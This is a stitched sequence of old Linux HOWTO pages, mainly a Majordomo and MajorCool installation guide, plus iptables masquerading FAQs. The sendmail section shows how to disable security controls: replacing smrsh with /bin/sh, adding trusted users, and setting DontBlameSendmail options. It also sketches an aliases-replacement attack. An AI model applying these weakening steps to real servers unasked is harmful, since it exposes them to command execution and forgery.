The Linux Networking Administrators' Guide

from Olaf Kirch of the LDP is available on the net and is also published by (at least) O'Reilly and SSC. It makes a fine one-stop shopping guide to learn about everything you ever imagined you'd need to know about Unix networking.

4.3. Periodic USENET Postings

Also worth mentioning is Chris Lewis' periodic posting on unix e-mail software, which is available on ftp://rtfm.mit.edu/pub/usenet/comp.mail.misc as the files named ``UNIX_Email_Software_Survey_*''. An HTMLized version is at http://www.faqs.org/faqs/mail/setup/unix/. At time writing in 1999 this posting has not been seriously updated since 1996, however.

4.4. Where not to look for help

There is no longer anything special about configuring and running mail under Linux, relative to other Unixes. Accordingly, you almost certainly do not want to be posting generic mail-related questions to the comp.os.linux.* newsgroups.

Unless your posting is truly Linux-specific (ie, ``please tell me what routers are already compiled into the SLS1.03 version of smail3.1.28'') you should be asking your questions in one of the newsgroups or mailing lists referenced above.

Let me repeat that....

There is virtually no reason to post anything mail-related in the comp.os.linux hierarchy any more. There are existing newsgroups in the comp.mail.* hierarchy to handle all your questions.

If you post to comp.os.linux.* for non-Linux-specific questions, you are looking in the wrong place for help. The electronic mail experts hang out in the places indicated above and generally not in the Linux groups.

Posting to the Linux hierarchy for non-linux-specific questions wastes your time and everybody else's...and it frequently delays you from getting the answer to your question.

Prev | Home | Next
Advanced topics |  | Administrivia


List of Terms

digest

a collection of new messages mailed to the members of an archived list as one message. A list is called digested when it is archived and, periodically, a digest is sent out.

Group ID
(GID)

an identification number assigned to files, directories, and processes to restrict access--similar to UID except multiple people can be a member of a group. On Unix-type systems, groups can be set up (defined in the /etc/group file). When a user name is a member of a group, she can access files created with that GID (assuming permissions allow it).

Mail Transfer Agent
(MTA)

a program, such as Sendmail, responsible for passing mail from one location to another.

Set Group ID
(SGID)

a file attribute which allows a program to run with specific group privileges no matter who executes it.

smrsh

(SendMail Restricted SHell) the shell that Sendmail uses to execute programs. smrsh puts restrictions on the programs that can be run to make it safer than using a regular shell such as the Bourne Shell.

Set User ID
(SUID)

a file attribute which allows a program to run as a specific user no matter who executes it.

User ID
(UID)

an identification number assigned to files directories, and processes--similar to GID except every user has a unique UID. Every process must run under a UID (the one-to-one relationship between the UID and user name is defined in /etc/passwd). The process' UID determines what the program can access. In general a regular user can change the permissions on files that she owns unless the UID is 0 (the root user). In that case, root can modify any files on the system.

wrapper

a program used to start another program; usually a wrapper is SUID or SGID so it can bestow privileges onto another program that the other program would not normally have.

Prev | Home
Frequently Asked Questions |


Majordomo and MajorCool HOWTO

John Archie

15 November 2000

This document is intended to guide a user through an installation of the Majordomo Mailing List Software and MajorCool. MajorCool is a utility for managing Majordomo lists via a CGI script; many people who are unfamiliar with Majordomo's text-based nature prefer the more user-friendly, web-based interface of MajorCool.

Table of Contents
1. Introduction
1.1. Credits
1.2. References
2. Sendmail
2.1. Aliases
2.2. Editing sendmail.cf
2.3. Configuring sendmail.cf Using the M4 Configuration
2.4. Sendmail Security Concerns
3. Majordomo
3.1. Preparing to Install
3.2. Editing the Installation Files
3.3. Installing Majordomo
3.4. Creating the Majordomo Aliases
3.5. Testing the Configuration
3.6. Creating Lists
3.7. Further Testing of the Configuration
3.8. Creating Better Aliases
3.9. Debugging
3.10. Majordomo Security Concerns
4. MajorCool
4.1. Extracting MajorCool
4.2. Edit the Configure Script
4.3. Installing MajorCool
5. Frequently Asked Questions
List of Terms
Next
Introduction


Introduction

Majordomo and MajorCool HOWTO
Prev Next

1. Introduction

This HOWTO is divided into several sections. The Sendmail portion is a general discussion about Majordomo and how Majordomo interfaces with Sendmail, as well as the various ways Majordomo can be set up and the consequences of such decisions. In contrast, the rest of the HOWTO is a tutorial guiding a user through a plain installation process of Majordomo. I recommend going over the generic installation process described in the sections after Sendmail, referencing the appropriate portions of the Sendmail section when necessary (the appropriate sections are mentioned in the appropriate places). Then, read the Sendmail section carefully and decide exactly how to configure your system. Finally, a List of Terms provides definitions for some of the more abstruse terms.

Also, if the official sites for downloading any of the software mentioned in this document are down, the tarballs can be found at my web site.

1.1. Credits

Thanks go out (in alphabetical order) to a few people for their invaluable help.

  • Lee Archie for proofreading

  • James Bruce and Bill Poston for the opportunity to set up my first permanent machine running Majordomo

  • Joseph D. Sloan for reading the Sendmail portion and making helpful suggestions

1.2. References

Although I have tried to make this HOWTO as complete as possible, it is always a good idea to look at more than one source. Below is a list of the resources that I found helpful when trying to configure Majordomo for the first time.

Books:

  • Bryan Costales with Eric Allman, sendmail. Cambridge: O'Reilly, 1997.

  • Alan Schwartz, Managing Mailing Lists. Cambridge: O'Reilly, 1998.

Free resources:

  • the documentation accompanying Sendmail especially README.cf

  • the documentation accompanying Majordomo especially INSTALL and NEWLIST

  • the Majordomo-Users Mailing List Archive.

  • the documentation accompanying MajorCool

Prev | Home | Next
Majordomo and MajorCool HOWTO |  | Sendmail


Sendmail

Majordomo and MajorCool HOWTO
Prev Next

2. Sendmail

Since Majordomo is responsible for managing E-mail lists, Majordomo relies heavily on a MTA such as Sendmail. There are other MTA's such as Smail and Qmail out there; however, Sendmail is the oldest and most common. This section introduces the reader to the areas of Sendmail that are useful or necessary to configure when using Majordomo.

2.1. Aliases

The Sendmail aliases file (usually /etc/aliases) is used for making aliases for E-mail addresses. For example, once Majordomo is installed, usually an entry in the aliases file reads:
majordomo-owner:	jarchie
This entry means that all mail addressed to majordomo-owner@host.com will actually be sent to jarchie@host.com. Notice it is unnecessary to append the @host.com to jarchie because both users are on the same host. If it were desired to redirect the message to a different user on a different host, one would have to add the @host.com portion.

Another type of entry in the aliases file allows E-mail to be redirected to multiple addresses listed in a file:
testlist:		:include:/usr/local/majordomo-1.94.5/lists/testlist
This entry states that any message sent to testlist@host.com will be redirected to all the addresses listed in the file /usr/local/majordomo-1.94.5/lists/testlist. The testlist file might look something like this:
johnarchie@emeraldis.com
srobirds@yahoo.com
acreswell@geocities.com
Majordomo is able to add or remove addresses from a list by taking advantage of this feature. When a subscribe request is processed, the user's E-mail address is appended to the testlist file; when an unsubscribe request is processed, the user's E-mail address is removed from the testlist file. One can also add or remove addresses manually simply by editing the file with a text editor such as vi.

Since Majordomo needs to be able to process commands sent to it via E-mail, Sendmail must be able to execute the Majordomo program and pass the message to it. This is done by adding another type of entry to the aliases file:
majordomo:		"|/usr/local/majordomo-1.94.5/wrapper majordomo"
The program /usr/local/majordomo-1.94.5/wrapper is a wrapper (SUID majordomo and SGID majordomo or daemon depending on the configuration) that runs the Majordomo program. The quotation marks around the second part of the alias entry are used to tell Sendmail that this part of the entry is all one statement; the quotation marks would be unnecessary if there were not a space between wrapper and majordomo. The | is known as a "pipe"; it is used to tell Sendmail to send the E-mail to the wrapper via the standard input. (Since all the wrapper does here is to call majordomo, the E-mail is actually being sent to Majordomo.) The wrapper accepts one parameter--the parameter of the program it is supposed to execute. (Any parameters after the first will be passed to the program the wrapper is executing.) For security reasons, the wrapper only executes programs located in the Majordomo directory, /usr/local/majordomo-1.94.5/. This restriction prevents a programmer from using the wrapper to run programs that should not have Majordomo privileges. (For example, wrapper /bin/vi would allow any user to edit any Majordomo configuration file.) When a message is sent to majordomo@host.com, Sendmail starts up the wrapper which, in turn, starts up majordomo, and Sendmail sends the message to the majordomo script via the standard input. Majordomo then extracts the commands out of the message and responds appropriately.

2.2. Editing sendmail.cf

Due to its arcane syntax, sendmail.cf is perhaps the most feared of all configuration files. In the installation of majordomo, it is not absolutely necessary to edit sendmail.cf; however, a couple of features are extremely useful. Unless major changes have to be made to sendmail.cf (which, thankfully, Majordomo does not require), editing the file is not that difficult. All that need be done is adding extra lines to the file.

2.2.1. Another Aliases File

Creating a separate file for the Majordomo aliases, such as /usr/local/majordomo-1.94.5/majordomo.aliases, is often a good idea. This can be done rather easily by adding a line to the end of the sendmail.cf file
OA/usr/local/majordomo-1.94.5/majordomo.aliases
To have a /usr/local/majordomo-1.94.5/majordomo.aliases, Sendmail must be able to generate a database (/usr/local/majordomo-1.94.5/majordomo.aliases.db). The easiest way to accomplish this is to go ahead and create an empty database for Sendmail to overwrite.
[root@kes majordomo-1.94.5]# touch majordomo.aliases.db
[root@kes majordomo-1.94.5]# chmod 644 majordomo.aliases.db
Another method to get around this issue is simply to create the majordomo.aliases file in the /etc/ directory, rather than the Majordomo home directory.

2.2.2. Undesirable Sendmail Security Features

For certain setups, some security measures that Sendmail uses can prevent Majordomo from working properly. Obviously, these security features must be turned off.

2.2.3. Sendmail Trusted Users

Sendmail is programmed to make it difficult for people to make "perfect" forgeries of E-mail. For example, when a user sends a message via SMTP, the source IP address is typically logged, and when a user sends a message by giving it directly to Sendmail and specifying the sender using sendmail -f, Sendmail puts a warning message in the header specifying the user who really sent the message. However, some programs need to be able to send messages masquerading as other users, and having this extra security line appended to the header is annoying. Sendmail handles this problem by having trusted users. In order for Majordomo's resend script to work properly, majordomo must be a Sendmail trusted user since the program needs to resend mail from other users.

One way to make Majordomo a trusted user is by adding the line
Tmajordomo
to the sendmail.cf file.

2.2.4. Sendmail Restricted Shell

If Sendmail is using smrsh, then the only programs that can be executed are those under the /etc/smrsh/ directory. Perhaps the best solution to run the wrapper from the aliases file is to create a symbolic link from /etc/smrsh/wrapper to /usr/local/majordomo-1.94.5/wrapper.
[root@kes smrsh]# ln -s /usr/local/majordomo-1.94.5/wrapper wrapper
A second solution is to actually move the wrapper into the /etc/smrsh/ directory.
[root@kes smrsh]# mv /usr/local/majordomo-1.94.5/wrapper ./
If security is not a major concern, the secure shell can be disabled. One fairly crude method is simply to delete /usr/sbin/smrsh and copy or link /bin/sh in its place.
[root@kes sbin]# rm -f smrsh
[root@kes sbin]# ln -s /bin/sh smrsh
A better (but more difficult) method is to edit sendmail.cf. Change the reference from /usr/sbin/smrsh
Mprog,		P=/usr/sbin/smrsh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/,
        T=X-Unix,
        A=sh -c $u
to /bin/sh
Mprog,		P=/bin/sh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/,
        T=X-Unix,
        A=sh -c $u

2.2.5. Group Write Permission

If you plan on having a non-root user add and manage mailing lists, you will need to make the majordomo.aliases file group writable. However, Sendmail does not allow this configuration for security reasons (see Section 2.4). To disable this security feature, add the line
O DontBlameSendmail=GroupWritableAliasFile
to the sendmail.cf file. Also, the lists directory must be group writable in order to add a list, but Sendmail will not allow this setup for similar security reasons. To disable this security feature, adding the line
O DontBlameSendmail=IncludeFileInGroupWritableDirPath
to the sendmail.cf configuration file is necessary.

2.3. Configuring sendmail.cf Using the M4 Configuration

For administrators who do not want to edit the sendmail.cf file directly, it is possible to use M4 to create the file; this section describes how to make the changes discussed in the previous section to the mc file instead of the cf file.

The purpose of the M4 configuration is to provide an easy way to create the sendmail.cf file. The idea is that the created mc file is easier to understand than the sendmail.cf file. By running the m4 preprocessor, a sendmail.cf file is generated:
[root@kes etc]# m4 /etc/sendmail.mc > /etc/sendmail.cf

2.3.1. Creating Another Aliases File

Add the line
define(`ALIAS_FILE',`/etc/aliases,/usr/local/majordomo-1.94.5/majordomo.aliases')
to the sendmail.mc file.

2.3.2. Making Majordomo a Trusted User

Add the line
define(`confTRUSTED_USERS',`majordomo')
to the sendmail.mc file.

2.3.3. Disabling Sendmail Secure Shell

Delete the line that reads
FEATURE(smrsh)
in the sendmail.mc file.

2.3.4. Disabling Security Features

To disable the group write permission security check on the aliases file, add the line
define(`confDONT_BLAME_SENDMAIL',`GroupWritableAliasFile')
to the sendmail.mc file.

To disable the path write permission security check for the include files, add the line
define(`confDONT_BLAME_SENDMAIL',`IncludeFileInGroupWritableDirPath')
To enable both of these options, use
define(`confDONT_BLAME_SENDMAIL',`GroupWritableAliasFile,IncludeFileInGroupWritableDirPath')
Adding the last statement is equivalent to writing
O DontBlameSendmail=GroupWritableAliasFile,IncludeFileInGroupWritableDirPath
in sendmail.cf, and this entry is the same as writing the entries on separate lines:
O DontBlameSendmail=GroupWritableAliasFile
O DontBlameSendmail=IncludeFileInGroupWritableDirPath

2.4. Sendmail Security Concerns

Security is inversely proportional to convenience; the only secure machine is one that cannot be accessed by anyone. When some of Sendmail's security features are disabled, a machine will inevitably become less secure. However, it is important to understand the basic security risks in order to determine if the convenience out weighs possible breaches of security.

2.4.1. Consequences of Unsafe Group Writes

If a user has write permission to access an aliases file, she should be a trusted user. By putting an entry into the aliases file (such as the one used to execute wrapper) a user can execute any program with the privileges of Sendmail (daemon or, in older versions, root). This gaffe would allow people to remove or change the permissions of files that belong to daemon (using the rm or chmod commands in the aliases file). To some extent, this possibility is avoided by using smrsh; however, one must still be careful as to what files are in the /etc/smrsh/ directory.

Another important security issue is that the user who can access the aliases file can append or write to files that belong to daemon by using file redirection (a >> or > instead of a |). Even so, this breach too can be countered by adding a line to the sendmail.cf file limiting what files can be written to through the aliases file. Add the line
O SaveFileEnvironment=/path/to/safe/files
to the sendmail.cf file or add
define(`confSAFE_FILE_ENV',`/path/to/safe/files')
to the sendmail.mc file. However, this maneuver only leaves a thin layer of security between the user and daemon. A much better idea would be to have the aliases file only writable by root and to create an SUID root program to add and remove the Majordomo related aliases.

In the case of include or .forward files, commands or redirections are run as the user who owns the file. Therefore, if a file is group writable, a member of the group can execute commands as the user who owns the file. In other words, any user in the majordomo group could execute commands as Majordomo. However, since the majordomo user is created without a shell, commands or redirections will not be processed in include files owned by majordomo.

2.4.2. Consequences of Unsafe Group Writable Directory Paths

If a user has group write permission to a directory, for example /etc/, the user could simply move any file and create a new one in its place. An attack might go something like this
[mallory@kes etc]$ mv aliases ...
[mallory@kes etc]$ vi aliases
The user can then make her own aliases! This attack, however, could be prevented by Sendmail's security checking for unsafe group writable paths. Such an attack also would work with include and .forward files having unsafe paths.

In the case of Majordomo, the user in the majordomo group already has access to the include files, so this does not really compromise security. However, an administrator should be careful to prevent these undesirable unsafe group writable directory paths from occurring in the future because Sendmail will not check for them.

2.4.3. Protecting Subscribers' Privacy

Unfortunately, sophisticated spammers can expand mail lists using the EXPN SMTP command. For this reason, administrators should disable this feature when serving mailing lists. Add the line
O PrivacyOptions=noexpn
to the sendmail.cf file or
define(`confPRIVACY_FLAGS',`noexpn')
to the sendmail.mc file.

Prev | Home | Next
Introduction |  | Majordomo


Majordomo

Majordomo and MajorCool HOWTO
Prev Next

3. Majordomo

Majordomo is, of course, the piece of code that this document revolves around; it consists of a collection of Perl scripts with the sole purpose of managing mailing lists.

3.1. Preparing to Install

Download the gzipped source distribution of the latest version of Majordomo from Great Circle Associates and uncompress it
[jarchie@kes jarchie]$ tar zxvf majordomo-1.94.5.tar.gz
This will create a subdirectory with all of the files necessary to install Majordomo; this directory cannot be the same directory in which Majordomo is to be installed.

Majordomo must run under a specific UID and GID so when any of the scripts are run, they will run under Majordomo's UID. Thus, it is necessary to decide what UID and GID Majordomo should run under. Also, Majordomo must be a Sendmail trusted user (see Section 2.2.3).

Check the /etc/passwd and /etc/group files to find a UID and GID that are not taken. For this example, a UID of 16 and a GID of 16 was chosen. You have to decide on the location where the Majordomo scripts will reside; in this HOWTO, the directory /usr/local/majordomo-1.94.5/ was chosen. If you are using a shadowed password file, add entries similar to
majordomo:x:16:16:Majordomo List Manager:/usr/local/majordomo-1.94.5:
to your /etc/passwd and add an appropriate entry to /etc/shadow.
majordomo:*:10883:0:88888:7:::
Use the other entries in these files as a guide for exactly what should be added. These are only the values for my system. If you are not using shadowed passwords, only an entry in the /etc/passwd file is necessary.

To create a Majordomo group, add a line similar to
majordomo:x:16:jarchie
to your /etc/group file. Appending your username to the end of the line will give you access to the Majordomo files that are group writable.

3.2. Editing the Installation Files

The Makefile contains all the information needed to install Majordomo; it is usually necessary to edit lines in the Makefile that refer to system specific settings so Majordomo will be able to install cleanly on your system. Most of the default settings are correct; however, the following settings, almost invariably, need to be changed on a per system basis.
[jarchie@kes majordomo-1.94.5]$ vi Makefile
The settings
PERL = /bin/perl
CC = cc
W_HOME = /usr/test/majordomo-$(VERSION)
MAN = $(W_HOME)/man
W_USER = 123
W_GROUP = 45
should be changed to something more appropriate for your system. For example, in my setup, the values were changed to
PERL = /usr/bin/perl
CC = gcc
W_HOME = /usr/local/majordomo-1.94.5
MAN = /usr/man
W_USER = 16
W_GROUP = 16
Also the majordomo.cf file must be created. An easy way to create this file is to copy the provided sample.cf file to majordomo.cf and edit it.
[jarchie@kes majordomo-1.94.5]$ cp sample.cf majordomo.cf
[jarchie@kes majordomo-1.94.5]$ vi majordomo.cf
Again, most of the settings are correct by default, but the following lines might need to be changed for your system from
$whereami = "example.com";
$whoami = "Majordomo\@$whereami";
$whoami_owner = "Majordomo-Owner\@$whereami";
     $homedir = "/usr/test/majordomo";
$digest_work_dir = "/usr/local/mail/digest";
$sendmail_command = "/usr/lib/sendmail";
to something more appropriate such as
$whereami = "kes.emeraldis.com";
$whoami = "majordomo\@$whereami";
$whoami_owner = "majordomo-owner\@$whereami";
     $homedir = "/usr/local/majordomo-1.94.5";
$digest_work_dir = "/usr/local/majordomo-1.94.5/digest";
$sendmail_command = "/usr/sbin/sendmail";
$whoami and $whoami_owner do not need to be changed for Majordomo to work; however, I changed them because I like to avoid typing capital letters. $digest_work_dir is a temporary directory where digest files should be placed; this directory should be assigned to wherever you want digests to be stored. If you do not plan to use digested lists, do not worry about this option. $whereami, $homedir, and $sendmail_command should be changed to appropriate values for your system. Unlike the Makefile, these options can always be changed after Majordomo is installed by editing majordomo.cf in the directory where Majordomo was installed. (The configuration file is simply copied during setup.)

3.3. Installing Majordomo

The next step is to compile the Majordomo wrapper. The wrapper is the only Majordomo component that needs to be compiled because everything else is a collection of perl scripts and, therefore, is not compiled.
[jarchie@kes majordomo-1.94.5]$ make wrapper
To install the Majordomo files, execute the commands
[root@kes majordomo-1.94.5]# make install
[root@kes majordomo-1.94.5]# make install-wrapper
The first command can be done as the Majordomo user (assuming majordomo can create or has access to $home_dir), but the second command needs to be done as root so the installation script can SUID root the Majordomo wrapper. (Since, majordomo was created without a login shell or password, if you want to execute the first command as majordomo, you will need to su majordomo as root in order to become majordomo.)

3.4. Creating the Majordomo Aliases

Sendmail aliases must be created for Majordomo so commands sent to Majordomo can be processed by majordomo, and an alias for the Majordomo owner must be created so people can E-mail you through the standard owner-majordomo address. Add the following entries to your aliases file (see Section 2.1).
majordomo:       "|/usr/local/majordomo-1.94.5/wrapper majordomo"
owner-majordomo: jarchie
majordomo-owner: jarchie

3.5. Testing the Configuration

As a regular user (not as majordomo or as root), run
[jarchie@kes jarchie]$ /usr/local/majordomo-1.94.5/wrapper config-test
This program can detect most problems in the Majordomo installation.

3.6. Creating Lists

To create a list, create a file with the name of the list in the Majordomo lists directory. For example, to create a list called test, create a test file as Majordomo
[root@kes /]# su majordomo
[majordomo@kes /]$ touch /usr/local/majordomo-1.94.5/lists/test
and add the related aliases
test:	       :include:/usr/local/majordomo-1.94.5/lists/test
owner-test:    jarchie
test-request:  "|/usr/local/majordomo-1.94.5/wrapper request-answer test"
test-approval: jarchie

3.7. Further Testing of the Configuration

Now test the operation of the list by issuing a lists command to Majordomo.
[jarchie@kes jarchie]$ echo lists | mail majordomo
It should only take a second for majordomo to reply with a message containing all the lists which are currently set up. Next, try issuing a help command.
[jarchie@kes jarchie]$ echo help | mail majordomo
Majordomo should reply with a list of all commands that Majordomo accepts. It might be a good idea to save the message for future reference.

To see if the aliases are working properly, try subscribing and unsubscribing yourself to the list.
[jarchie@kes jarchie]$ echo subscribe test | mail majordomo
You will receive an E-mail message containing instructions on how to confirm your subscription as well as a letter confirming that your command was successful. After sending back your confirmation, Majordomo should send back two letters--one letter stating that your subscribe request was successful and another letter welcoming you to the test list. The owner of the list will also be sent a message stating that you have subscribed to the list.

To unsubscribe from a list, send a unsubscribe command
[jarchie@kes jarchie]$ echo unsubscribe test | mail majordomo
You should be sent back a letter stating that your command was successful.

3.8. Creating Better Aliases

For some lists, it may be desirable to have Majordomo process messages before they reach the list. For example, Majordomo has the resend script to automatically filter messages based on content (such as taboo words), to prevent people from sending Majordomo commands to the list, and other features. To use these options, it is necessary to use a better set of aliases such as
test:        "|/usr/local/majordomo-1.94.5/wrapper resend -l test test-list"
test-list:   :include:/usr/local/majordomo-1.94.5/lists/test
owner-test:  jarchie
test-owner:  jarchie
test-request:  "|/usr/local/majordomo-1.94.5/wrapper majordomo -l test"
The last entry allows someone simply to send a message to test-request@kes.emeraldis.com with the text subscribe rather than sending a letter to majordomo@kes.emeraldis.com with the text subscribe test. Also, note that if sendmail is using smrsh, the above aliases should reference the copy of the wrapper in the safe path--usually /etc/smrsh/wrapper.

3.9. Debugging

It is common for Majordomo's permissions to be set incorrectly causing Majordomo to work improperly. Fortunately, Sendmail and Majordomo typically, give decent error messages indicating a problem. For example, the lists directory must be executable by the user sendmail setuids to, typically mail or daemon. If sendmail cannot execute lists, the permissions must be loosened.
[root@kes root]# chmod +x /usr/local/majordomo-1.94.5/lists
Another common problem is caused by the lists directory being group writable. To solve this problem, one can ether clear the group writable bit, or use the sendmail option IncludeFileInGroupWritableDirPath (see Section 2.2.5 and Section 2.4.1 for more details).

3.10. Majordomo Security Concerns

Majordomo is intended to run on a isolated system; there are a couple of well-known security holes in the scripts that allow any local user capable of executing wrapper to execute code as the majordomo user. If Majordomo must be run on a system providing users with shell access, then it is advisable to tighten up permissions on the wrapper. This can be done by clearing the world executable bit and chgrping the wrapper to the user that needs to run the Majordomo scripts. For example, if Sendmail and MajorCool are both being used to execute the wrapper use the commands
[root@kes root]# cp /usr/local/majordomo-1.94.5/wrapper /etc/smrsh/wrapper
[root@kes root]# chmod 4750 /usr/local/majordomo-1.94.5/wrapper
[root@kes root]# chown root:nobody /usr/local/majordomo-1.94.5/wrapper
[root@kes root]# chmod 4750 /etc/smrsh/wrapper
[root@kes root]# chown root:mail /etc/smrsh/wrapper
to secure the system. This will allow sendmail (while running under mail) to execute /etc/smrsh/wrapper while allowing the webserver's MajorCool (running under nobody) to execute /usr/local/majordomo-1.94.5/wrapper. This solution, however, will allow anyone with the UID or GID of mail or nobody to also obtain access to the majordomo account. To protect the nobody account, it is important not to allow normal users to make use of server side includes or cgi scripts unless those services do not run under nobody.

Prev | Home | Next
Sendmail |  | MajorCool


MajorCool

Majordomo and MajorCool HOWTO
Prev Next

4. MajorCool

MajorCool is a web-based interface to Majordomo allowing users to add and delete themselves from lists and manage lists that they own. The installation is fairly straightforward; all that need be done is to unzip the files, edit one line in the Configure script, and execute the script.

4.1. Extracting MajorCool

The latest files can be downloaded from Conveyance Digital.
[jarchie@kes jarchie]$ mkdir majorcool
[jarchie@kes jarchie]$ mv majorcool.tar.gz ./majorcool/
[jarchie@kes jarchie]$ cd majorcool/
[jarchie@kes majorcool]$ tar zxvf majorcool.tar.gz

4.2. Edit the Configure Script

Open Configure and
[jarchie@kes majorcool]$ vi Configure
change the line that reads
PERLBIN="/usr/local/bin/perl"	# How to start a perl script
to the proper location of perl
PERLBIN="/usr/bin/perl"		# How to start a perl script
otherwise, MajorCool will not be installed properly.

4.3. Installing MajorCool

When running the Configure script, if the default choice for an option is okay, simply pressing Enter will accept the default.
[root@kes majorcool]# ./Configure
The Configure script will ask you to hit Enter a few times, and then it will ask for the location of Majordomo and some more questions about the setup of your Web server.
What is the installation directory of Majordomo?
    []: /usr/local/majordomo-1.94.5
Will place the MajorCool programs in /usr/local/majordomo-1.94.5.

What is the path to your Majordomo configuration file?
    [/usr/local/majordomo-1.94.5/majordomo.cf]:
Using configuration file name '/usr/local/majordomo-1.94.5/majordomo.cf'

Where would you like temp files created when MajorCool runs?
    [/tmp]:

MajorCool needs to install CGI programs, support files, and icons in
your Web server directories.

What is the root directory for your Web server?
    []: /var/www

Where is the cgi-bin directory for your Web server?
    [/var/www/cgi-bin]:
Will place the programs in /var/www/cgi-bin.

What is your server's URL for '/var/www/cgi-bin'?
    [/cgi-bin]:

Where is the image directory for your Web server?
    [/var/www/icons]:
Will place the icons in /var/www/icons.

What is your server's URL for '/var/www/icons'?
    [/images]: /icons

Where is the root directory for documents on your Web server?
    []: /var/www/html
The Configure script will ask other questions that are less critical. (The defaults are fine, but you might want to change a few settings to fit your preferences. Unlike some of the Web server questions, the meanings should be obvious from the context.) When the configuration file that the script generated from your answers is displayed, you should accept the new version.
Accept the new version? [yes|no|list|edit|diff]? y
The installation script will install the MajorCool files and run the majordomo cgi script which outputs the html file to the console. Check to see if the installation worked by viewing the majordomo cgi script from the web.
[jarchie@kes jarchie]$ lynx http://localhost/cgi-bin/majordomo

Prev | Home | Next
Majordomo |  | Frequently Asked Questions


Frequently Asked Questions

Majordomo and MajorCool HOWTO
Prev Next

5. Frequently Asked Questions

Two questions occur often.

5.1. Why does sendmail give the error, sh: wrapper not available for sendmail programs?
5.2. Why will Red Hat not process my mc file?

5.1. Why does sendmail give the error, sh: wrapper not available for sendmail programs?

smrsh will only allow sendmail to execute certain files. See Section 2.2.4.

5.2. Why will Red Hat not process my mc file?

For some reason, Red Hat does not include the necessary files to process mc files. According to /etc/mail/sendmail.mc, these files should be in the sendmail-cf package; however, I was unable to find this package on the CD. To fix this problem, install Red Hat's sendmail SRPM, uncompress the sendmail tarball, and copy the necessary macro files.
[root@kes root]# rpm -i sendmail-8.11.0-8.src.rpm
[root@kes root]# cd /usr/src/redhat/SOURCES/
[root@kes SOURCES]# tar zxvf sendmail-8.11.0.tar.gz
[root@kes SOURCES]# cd sendmail-8.11.0
[root@kes sendmail-8.11.0]# cp -R cf /usr/lib/sendmail-cf
[root@kes sendmail-8.11.0]# cd ..
[root@kes SOURCES]# rm -rf sendmail-8.11.0
Also in the default /etc/mail/sendmail.mc file, there is a slight syntax error. (The beginning single quotes on one line slant in the wrong direction.) The line that reads
define('ALIAS_FILE','/etc/aliases')dnl
should be changed to
define(`ALIAS_FILE',`/etc/aliases')dnl
After these two changes, the new sendmail.cf should be generated properly.

Prev | Home | Next
MajorCool |  | List of Terms


FAQ's - Frequently Asked Compla^H^H^H^H^H^H Questions

Masquerading Made Simple HOWTO
Prev

5. FAQ's - Frequently Asked Compla^H^H^H^H^H^H Questions

  • How do I list the rules I've got so far?

    - Try
    $> iptables -L
$> iptables -t nat -L

  • It don't work! It doesn't like iptables / NAT / SNAT / MASQ

    - Go get the latest kernel, and compile with iptables and full NAT support.

  • It don't work! The masquerading doesn't work at all! Die scum!

    - Try echo 1 > /proc/sys/net/ipv4/ip_forward

  • It don't work! I can't use the network at all and I hate you!

    - Try
    $> iptables -F
$> iptables -t nat -F
$> iptables -t mangle -F

    (all rules went bye-bye) then rerun the other iptables rules.

    - Try iptables -P FORWARD ACCEPT

  • It still don't work!

    - Hmm, does "dmesg | tail" give any errors? or "cat /var/log/messages | tail" ? Like I care tho...

  • I don't get, it just ain't working!

    - I dunno.. but you should be able to:

            1) From the gateway machine, ping the outside
        2) From the gateway ping your internal machines
        3) From the internal machines ping the gateway

    And this is before you play with masq'ing

  • Where do I put this stuff?

    - In the /etc/network/interfaces file, or firewall.rc. If you put it in the interfaces file, then put it as a pre-up to the external interface, and have "iptables -t nat -F" as the post-down.

  • How do I get it to only bring the ppp up on demand?

    - Assuming your ISP gateway IP is say 23.43.12.43 for arguments sake, then append a line like this:

    :23.43.12.43

    to /etc/ppp/peers/provider at the end. (this is for dynamic IP - static IP would be my.external.ip.number:23.43.12.43 )

    Then at the end of that file add on a newline:

    demand

    Pppd will remain in the background to redial the connection on demand if it's dropped until you do an "ifdown ppp0" or a "poff", unless you add a "nopersist" option, in which case pppd will exit after the connection is up. You can also add on a new line "idle 600" to disconnect after 10 mins of idleness.

  • The connection keeps dropping!

    - First, do you have demand dialing? Is it just doing what it is supposed to? Check /etc/ppp/peers/provider, and make sure your dial up works fine before attempting masq'ing.

    - Secondly, if not, then perhaps, like me, something is going weird, and you need to fall back to Linux 2.4.3 and see if that works instead.. dunno why.

  • I hate doing this myself! I want a pre-made script and GUI and stuff.

    - Sure: http://shorewall.sourceforge.net/

    Eat your heart out!

  • Do I count Cable modems as static or dynamic IP's?

    - Good question.. might as well make it dynamic.

  • Do I count DHCP network cards as static or dynamic IP's?

    - They are dynamic.

  • How do I handle incomming services?

    - Try forwarding or redirecting the IP ports - again make sure you firewall this if needed.

  • From the clients, I can ping the linux gateway's external IP address, but can't access the internet.

    - Okay, try doing "rmmod iptable_filter" - more info on this as I get it.

    - Make sure your not running routed or gated - to check run "ps aux | grep -e routed -e gated".

    - Look at http://ipmasq.cjb.net

  • How can I view the connections establish? Something like netstat..

    - Try cat /proc/net/ip_conntrack

  • I need more squid info and routing and stuff!

    - Try the Advanced Routing HOWTO http://www.linuxdoc.org/HOWTO/Adv-Routing-HOWTO.html

  • This howto is crap! How do I yell at the guys who wrote this?

    - Go to #debian on irc.opensource.net and find and locate JohnFlux.

  • This howto is crap! How can I see better versions?

    - Try http://ipmasq.cjb.net

    - Consult the LDP Masq-HOWTO.

Prev | Home
Post-install Instructions |


Bitmore indepth version

Masquerading Made Simple HOWTO
Prev Next

3. Bitmore indepth version

Compiling the kernel: (Use a 2.4.x kernel or greater)

You need the following support in the kernel:

  • Under Networking Options

    • Network packet filtering (CONFIG_NETFILTER)

  • Under Networking Options->Netfilter Configuration

    • Connection tracking (CONFIG_IP_NF_CONNTRACK)

    • FTP Protocol support (CONFIG_IP_NF_FTP)

    • IP tables support (CONFIG_IP_NF_IPTABLES)

    • Connection state match support (CONFIG_IP_NF_MATCH_STATE)

    • Packet filtering (CONFIG_IP_NF_FILTER)

      • REJECT target support (CONFIG_IP_NF_TARGET_REJECT)

    • Full NAT (CONFIG_IP_NF_NAT)

      • MASQUERADE target support (CONFIG_IP_NF_TARGET_MASQUERADE)

      • REDIRECT target support (CONFIG_IP_NF_TARGET_REDIRECT)

    • Packet mangling (CONFIG_IP_NF_MANGLE)

    • LOG target support (CONFIG_IP_NF_TARGET_LOG)

